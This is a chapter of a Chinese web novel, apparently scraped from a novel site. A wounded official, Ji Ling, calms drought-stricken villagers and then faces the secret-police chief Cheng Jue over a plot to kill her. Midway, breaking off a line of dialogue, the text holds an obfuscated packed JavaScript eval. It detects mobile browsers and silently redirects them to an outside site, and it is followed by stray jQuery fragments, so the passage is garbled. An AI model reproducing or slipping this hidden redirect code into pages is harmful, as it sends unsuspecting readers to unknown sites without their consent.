77. 同享日月同渡危河

作品:《季大人升官笔记

    两眼昏暗间,只听见身边之人的命令:“来人,将刚刚意图闹事、行刺朝廷命官的人抓起来。”


    语毕,藏匿在各处的锦衣卫突然倾巢而出,涌进人群之中。


    兵甲碰撞的声音压下麋集罗唣之声,即使人多势众,乡民们也不再气势高昂。


    噤声前后,只见玄色曳撒掺入褴褛衣衫之中,几息之间,部分乡民便发现身边少了人。


    对强权的恐惧暂时战胜了对饥饿的恐惧。


    在混乱懊热之中,一道关切反而出人意料。


    “季大人!您流血了...”


    季泠站稳之后,立刻松开旁边人的手,抬眼看向声音来源,是矮台前的一位妇人,牵着一个瘦弱的小姑娘,年纪约莫也就七八岁。


    季泠感受到额角有浓稠的浆液顺着脸颊流到下巴,在滴落之时,她才反应过来,伸手一摸,原来是血。


    混在其中的还有源源不断的汗水,难怪她没有察觉。


    季泠弯下腰,捡起来刚刚砸中她的东西,是一个陶碗。


    在这个时候,居然还有人能将自己吃饭的珍贵家伙砸出来,究竟是情急之下失去理智,还是有人趁机浑水摸鱼?


    她蹲着半晌,思考之间,随意抬袖擦去脸颊和眼周的血迹,血流得太多,这样一擦反而弄了半边脸全是血痕,有些骇人。


    那位妇人身旁的孩子见了,吓哭起来,四周又掀起一阵小小的喧动。


    妇人拍了拍孩子的后背,抚慰她的惊慌,而后又用同样的担忧看向季泠。


    “季大人,您先去处理您的伤口吧……”语未罢,便在不十分合身的衣衫之中四处摸索,随后上前一步,越过篱笆般的士兵,将手中的帕子递给季泠。


    季泠怔愣了一下,浑身上下的水逆着血液奔向胸口,想要将她狠狠冲倒。


    她眨着干涩的眼,倾身将她的帕子推了回去,微笑着说:“大娘,多谢您的好心,我不用。”


    大娘却紧张起来:“季大人...我们没有更干净的帕子了...”


    季泠感觉血又滴落,还深入眼中,又流出来。她复低头擦了擦,“所以我更不能拿,您比我更需要。”


    大娘看着满脸血的季泠慢慢站起来,借由矮台之势,后头的乡民终于注意到季泠的伤势,小声议论起来。


    季泠捕捉到一些破碎的言语——


    “是不是我们做的太过火了...”


    “她毕竟也是个女人...”


    “她看起来不像那种狗官。”


    ……


    季泠微微一笑,不知道是因为锦衣卫的镇压还是因为她伤口的狰狞,总之乡民们的怒气是淡下来了。


    季泠清了清嗓子,声音仍有些嘶哑,却突破干涸的土地,透进乡民的心中:“乡亲们!朝廷之中,无论是圣上还是各位官员,皆心系湖广旱灾,忧心忡忡,无不重视。我季执庸是女子,却并非陛下随意选出应付湖广百姓。正相反,圣上之令,命我等赈灾官员与民同食同寝,同存同亡。”


    季泠停顿了一下,看了看乡民的反应,目前已经少了许多抗拒,她伸出双掌,上面有淡去的伤痕和薄茧,前排几人可以看得一清二楚。


    “我也是在乡间长大,也如各位的儿女孩童一样,见过旱灾水患。不仅如此,我还曾协助当地官员一道治理,最终保全全乡性命。且正是因为我年轻气足,身强体健,又为女子,比男子多几分细心,陛下考量诸多,终派我前来与乡民们齐心抗灾。我季执庸在此立誓,大合乡灾情不缓,我绝不离乡半步!我与各位乡民,同享日月,同渡危河!”


    季泠的声音高亢,她额头的血随着她的呼号而不断绵延,染红了她的眉毛,模糊了她的视线。


    她快要体力不支了。在眼前瞬白的一刹那,她听见前面还在哭号的幼童说了一句:“娘亲,我相信季大人,她是个好官,你看她还在流血...”


    稚子的善良单纯激发了身边众人的怜弱之心,前排几人也纷纷跟从:“季大人是个好官!”


    季泠努力牵起嘴角对着那个孩童笑了一下,阖眼之时,控制不住的往前倾。


    在她双耳嗡鸣,将要摔下台时,身后传来不耐的“啧”声,一柄剑横于腹前,将她拦回。


    “姚知府,别看戏了,替你做到这个地步,再无法维持局面,你就该收拾收拾跟我回京了。”


    季泠的胳膊被他死死攥住,只听他冷冷一说,还未见姚知府的回应,就被拉下台去。


    半昏半醒地被拉扯着,更准确说是拖着,她还时不时被地上的石头杂物绊住,走得跌跌撞撞。


    她还不如直接昏过去,总好过现在花着眼又想呕吐,却还要顾及这人。


    进了屋内,大夫给她额角的伤上药包扎之后,又给煮了解暑茶,让她含了参片,季泠才算缓和过来。


    大夫出去后,屋内空无一人,季泠趴在圆桌上,闭眼养精蓄锐。


    湖广的水太深,她初来乍到就遇上这样的事情,京城的祸事还未解决,她不得不再三谨慎。


    她答应来湖广赈灾,便是为了亲自找寻真想。京城被闫有德等人盯着,她一动手就容易暴露,湖广如今正值旱灾,她与各州府官员有来有往,顺理成章。


    她本就只是户部小官,赈灾这样的大事,她不过承了上峰安排,前来核实,打个头阵罢了。等朝中派下巡抚,她便可以偷空去做自己的事情。


    只是,即使做了十足的准备,她还是没料到,初来便遭遇一场动乱。这样一来,她的计划便不得不暂时搁置了。


    炎炎烈日,帐内静悄悄,趴在桌上人的人似乎睡着了。


    几乎微不可察的步声在帐内响起,冰凉的目光审视着圆桌上的人。那张脸,因为受伤与干燥,嘴唇苍白,因为酷暑与直晒,脸颊烫红。


    半盏茶时间后,趴着的人眼睛猛然睁开,与桌前人对视上了。


    “假睡?挺能装的。”他漫不经心。


    季泠扶桌站起,全身紧绷着,不敢有丝毫懈怠。


    “幸会,锦衣卫指挥使,成大人。”


    成珏少见于人前,是真正的昭狱阎王,朝廷鹰犬。若非之前在养心殿见过几次,她还真认不出来。


    “季大人为何这么怕我?”


    “朝廷上下,谁人不怕您。”


    “你的好先生,可就不怕我。”季泠即刻寒毛竖起,抬头看向成珏,却看不出他的意图。


    成珏知道了。


    可那又如何?


    毫无证据的事情。


    “越大人呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446339|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”她出发之前,可是提前派了越山去周边调运粮食的。


    成珏慢悠悠地坐到季泠对面,“他快到武昌府了,不出意外,明日就可以带着粮食前来支援你。”


    季泠松了口气,不管她想做什么,既然来了湖广,首要事情还是赈灾救民。也好在她借祝扶春的材料有了准备,否则她真成了必死的前锋。


    “成大人为何出现在这儿?赈灾恐怕不是锦衣卫的事情吧?”


    “每逢大灾,必有人会暗中生乱,锦衣卫自然要前来镇压,顺便修剪枝叶。若是今日没有我,季大人怕是就要被生吞了吧。”


    成珏翘起二郎腿,上下打量着季泠。季泠有些不适,但并不言明。眼下她还无法判断成珏是敌是友,她只身前来湖广,孤立无援,哪怕是敌人,她也该稳住,绝不能让成珏威胁到她的性命。


    季泠缓缓坐下,提起茶壶倒了一杯水,水竟然还是热的,这姚知府看着圆滑,人倒是细心。


    “我若是你,就不随意喝这儿的水。”


    季泠闻言,端到嘴边的茶杯停住不前,她瞟了成珏一眼,仔细嗅了嗅水,有一股土腥味,还有一股淡淡的怪味,她形容不上来。


    季泠打开茶壶顶盖,又闻了闻壶中的水,却没有那股味道。


    是这茶杯有问题。


    “你怎么知道有问题?”


    成珏觉得她实在愚蠢,摇了摇头:“你来之前,不打探清楚情况就来?这个姚知府是什么人,你也不查一查吗?你一个五品官,来了湖广,就算是奉旨赈灾而来,也该你去拜见他,而非他来接见你。你怎么不想想,他为什么这么殷勤?”


    季泠皱眉想了半天,还是没想出来,她初见这个姚知府,就只感觉他缩头缩尾的,像是盼救星一样把她盼到。她只以为姚知府是怕担上救灾不利的名头,影响他的仕途。


    若依成珏的暗示,难道别有隐情?


    想要将她害死在湖广的,不就是因为湖广税粮而被革职待处置的那一批人吗。


    “闫有德?”


    “还不算太蠢。闫有德的孙子娶了姚知府的外甥女,两人也算是拐了弯的亲家。”


    季泠冷笑:“他这样的人会因为亲家就费力帮忙吗?还不是撒糖而下,虫蚁俱来。怕是我这位暂代的郎中阻碍了他的路,引我来了这旱灾最严重的乡里,举目无亲之时,借了灾民将我了结了吧。”


    成珏点点头,“你确实有几分聪明。”


    “那您这次又是为什么帮我?我这样的人,可无利供您图谋。”


    成珏似乎偏要与她作对,不怀好意地挑了挑眉,凑近看着季泠:“那么季大人猜猜,不为利,我还能为什么呢?”


    季泠神色一僵,往后靠了靠:“我想,成大人想是要卖我个人情吧,毕竟我身后是公主府,朝中谁不想搭上公主这棵大树呢?”


    她和锦衣卫素来没有什么交集,她也不是什么九天仙子,她才不信成珏会有恻隐之心这种东西,就算有,多半是不会发生在她的身上。


    成珏不接她的话茬:“季大人,你有一点说错了,我不止是这次帮了你,之前还救过你的命。”


    “之前?”


    成珏很愿意借这个机会将事情告诉季泠,只可惜不凑巧,有人进来了。